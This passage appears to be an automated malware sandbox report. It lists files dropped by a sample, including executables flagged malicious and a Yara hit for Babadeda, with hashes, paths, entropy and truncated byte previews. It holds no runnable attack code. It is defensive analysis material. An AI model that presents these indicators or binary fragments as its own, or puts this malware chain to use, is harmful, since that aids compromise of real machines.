File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\1000003002\5aa32fec17.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.7537874000222
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfcxjOq:Hq6+ouCpk2mpcWJ0r+QNTBfcn
MD5:	4D62ACEDF9A28EC051FF554A996BAD98
SHA1:	7E16CD6236F8B89994E3BDDC0228654C33935E08
SHA-256:	676EFAD1F84A514D0DB0E3AD79E7F9077B464EDDD5A0027F614CABB82B5F09F2
SHA-512:	8D3141A2D55AEB7C3C630B6D4F16BBBC8DCAC1C82C2B9C7FF1077B48AAFA6018042530EA9E2D528E984FF228A970C59E3E280C1E0801D4DA523E918DD448E2C8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\1000003002\5aa32fec17.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\11863ca3-b1d9-4bf1-9df1-a29effd18c2b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.094854921438039
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWISi1zNtgYUGUH7NDf5GpxQwnKJDSgzMMd6qD47u3S:+/Ps+wsI7ynE+m7+nKtSmd6qE7lFoC
MD5:	6B19A9BFB3AC591D45685F639AB55842
SHA1:	EE583C548F81D43FD528C0787E30615100E25DCB
SHA-256:	36BE978436BF27F0FFFEDECE92139DAC165AF30636B44E4CBC827D0D8CA33537
SHA-512:	C77CDDDD87C4E9F0F2428864327BD5A47CD54F480A299D46AE7D8DFCCCD14876D99E88142B08C33C337E76BA5612BA72479E12DF06C6EFD908F580F9D3BA2A2A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\222d774b-f2df-487e-96a8-7e87dac8f659.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47622
Entropy (8bit):	6.08955391388291
Encrypted:	false
SSDEEP:	768:pM7X2zt1jOXtXi3zahBKKEVi1zNtgYUGUHuBfDZXr1YZMtEqEMZ7+CioHJDSgzM7:pMSzMtXijajK7+mmtIMx+FoHtSmd6qEV
MD5:	4C4A747FB80CA689136F41D76188327F
SHA1:	6A5EC4CF6E23FA723137B4790AAC35A05682D544
SHA-256:	9F40E0CFB85F3B4C246F847E3A9261AFC8CB1DFCBDD9CA4019E6B3754AFBE7AD
SHA-512:	5C7A3D2DB16B66A67F57C0E3C69EADDE0A19848E5B755B6FC0B706895B3FC4F6B93977B94ABB35102110976663E064078D5F7EA483CE6770671581A9D8819E26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366456633874608","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdK

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\334054eb-ad0d-4b82-b576-96a279b9f5ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47622
Entropy (8bit):	6.089555652439126
Encrypted:	false
SSDEEP:	768:pM7X2zt1jOXtXi3zahB9KEVi1zNtgYUGUHuBfDZXr1YZMtEqEMZ7+CioHJDSgzM7:pMSzMtXijaj97+mmtIMx+FoHtSmd6qEV
MD5:	DC2F6FDFF6CA944EBE2FB45380875399
SHA1:	FBC20A5E4986BB0D701CBD37D77939BE9BE150C3
SHA-256:	E30B7669D977D5CBCB6BB3BFB70DE5E243C1DFF87510F492CACA61C34DC016A2
SHA-512:	B423B12CB476E139644A2174F521F30296042963EB3E01C187B1960D27132500F08103537CEBC28E29E55ABA7AB6FDFA97EB52D9B1F9DD493165BE5E4237B58E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366456633874608","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdK

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\36ac101b-2417-43c4-bb2e-ed4f3a446335.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44954
Entropy (8bit):	6.094630391184215
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWjSi1zNtgYUGUH79BfDZXr1YZMKJDSgzMMd6qD47uC:+/Ps+wsI7yOn+m7RKtSmd6qE7lFoC
MD5:	751DEF19E1BDD397FBF90D0B6C09724E
SHA1:	A5FC5D2244AE67224182417770E657AEFDC5EED2
SHA-256:	8B269CB6BF54B3952417CA65ED3D6DF31E4AE5385C98546DC78F36E6E4FA353D
SHA-512:	F4D52020C7C9012B2AEEEB601D452CA7557804812458A57C54E3970AF236F532C1E8C12B9FE8EC5D0D376B62BCB0ECC9CE9BBE0BEAE41600FBA6E67B833A0FA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\83df92b6-4d8c-4459-ba6a-6dab41d5327a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.094854921438039
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWISi1zNtgYUGUH7NDf5GpxQwnKJDSgzMMd6qD47u3S:+/Ps+wsI7ynE+m7+nKtSmd6qE7lFoC
MD5:	6B19A9BFB3AC591D45685F639AB55842
SHA1:	EE583C548F81D43FD528C0787E30615100E25DCB
SHA-256:	36BE978436BF27F0FFFEDECE92139DAC165AF30636B44E4CBC827D0D8CA33537
SHA-512:	C77CDDDD87C4E9F0F2428864327BD5A47CD54F480A299D46AE7D8DFCCCD14876D99E88142B08C33C337E76BA5612BA72479E12DF06C6EFD908F580F9D3BA2A2A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\88e12a75-d581-4702-8f29-9b21d2bddd42.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47545
Entropy (8bit):	6.089606561293692
Encrypted:	false
SSDEEP:	768:pM7X2zt1jOXtXi3zahcKK1hbi1zNtgYUGUH79BfDZXr1YZMtEqEMZ7+CioHJDSgi:pMSzMtXija+KU+m7RtIMx+FoHtSmd6qC
MD5:	E4C5DFA2DCD60A9AB49EC1CDB26AF5A7
SHA1:	E9511F4150398EF7FD1079F8E6DEA7331D14154C
SHA-256:	BAEAED1610E8C01A137B849B60449D94D9EA68C6720EB267A9886A52ED3609C0
SHA-512:	D78449476CF3D9D8B7B329624797D6A34E93B6DB30EE59135F0C57B677F23FB785EBFC8A9FCBCAB65767D23BB8AB58F501A6E67F73D4934834CAE0AE266FF4CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366456633874608","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdK

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9455d1c5-06b7-401d-91ce-1a105e7e6083.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45805
Entropy (8bit):	6.091854080395493
Encrypted:	false
SSDEEP:	768:aDXzgWPsj/qlGJqIY8GB4xKKyRi1zNtgYUGUH79BfDZXr1YZMKJDSgzMMd6qD47A:a/Ps+wsI7yOKh+m7RKtSmd6qE7lFov
MD5:	D6571219A4636BF1FA99CE272508C316
SHA1:	B95A552C5859EC552EEAEDC448F0B4372DB5E991
SHA-256:	AC822973517E666841A19BA5EA0ADCD12DEFA5C800834C66EFF3DFCF402123AC
SHA-512:	3F3AEE9FD0E8B38AF6A1AA089541184EBF5960E4B9290BD5B2F3E658311992D7A22B92C50C2588A477469260568CCC2EDDD4BF6FD774B2248318F9D6CDFD513A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366456633874608","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJ

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\a642c338-28dc-4833-9259-10d912e00d62.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152476965675
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7D:fwUQC5VwBIiElEd2K57P7D
MD5:	9D9DF93F85F9C57612A3E9D213ACF274
SHA1:	C2CE021FA37760A245D146E6D7A5CD8408C5D366
SHA-256:	7DFAC7A63F13AA415E9A290429A60E368CB14837528CD38483BF97FD953A3916
SHA-512:	7573570BFF52A0533074AFBD3DEBD72D0B8F6AF2C85BC18DC5010EA1637DF68225A6F2861DE766BD5C3AA40080BE1AC322CD5FED2E19842FA73BABDF67FF43E7
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152476965675
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7D:fwUQC5VwBIiElEd2K57P7D
MD5:	9D9DF93F85F9C57612A3E9D213ACF274
SHA1:	C2CE021FA37760A245D146E6D7A5CD8408C5D366
SHA-256:	7DFAC7A63F13AA415E9A290429A60E368CB14837528CD38483BF97FD953A3916
SHA-512:	7573570BFF52A0533074AFBD3DEBD72D0B8F6AF2C85BC18DC5010EA1637DF68225A6F2861DE766BD5C3AA40080BE1AC322CD5FED2E19842FA73BABDF67FF43E7
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1eabb982-6ecf-4de8-8275-2244f2236652.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9983
Entropy (8bit):	5.124887924948854
Encrypted:	false
SSDEEP:	192:stlkdpslSnaFvrE9kcn388VbV+FxjwA9TUYPpYJ:stl+slSnCDuLbGNws47
MD5:	A63E6A5F09027D1C5018FABA3F304DFF
SHA1:	83041126081A7DE7A34459C5F238588CCA820936
SHA-256:	46D6A8D0AC94554844C2D46320159B3771F7504AF063495CC274013F3236BD01
SHA-512:	4B656160A886A49527C56B9A19AF51984227CE240BED9A40EAD188AF96D82A1EF83B955BE72EB557AE32F64A9D4BCD7599AEB80E74884D499FC32ADA9542E15B
Malicious:	false
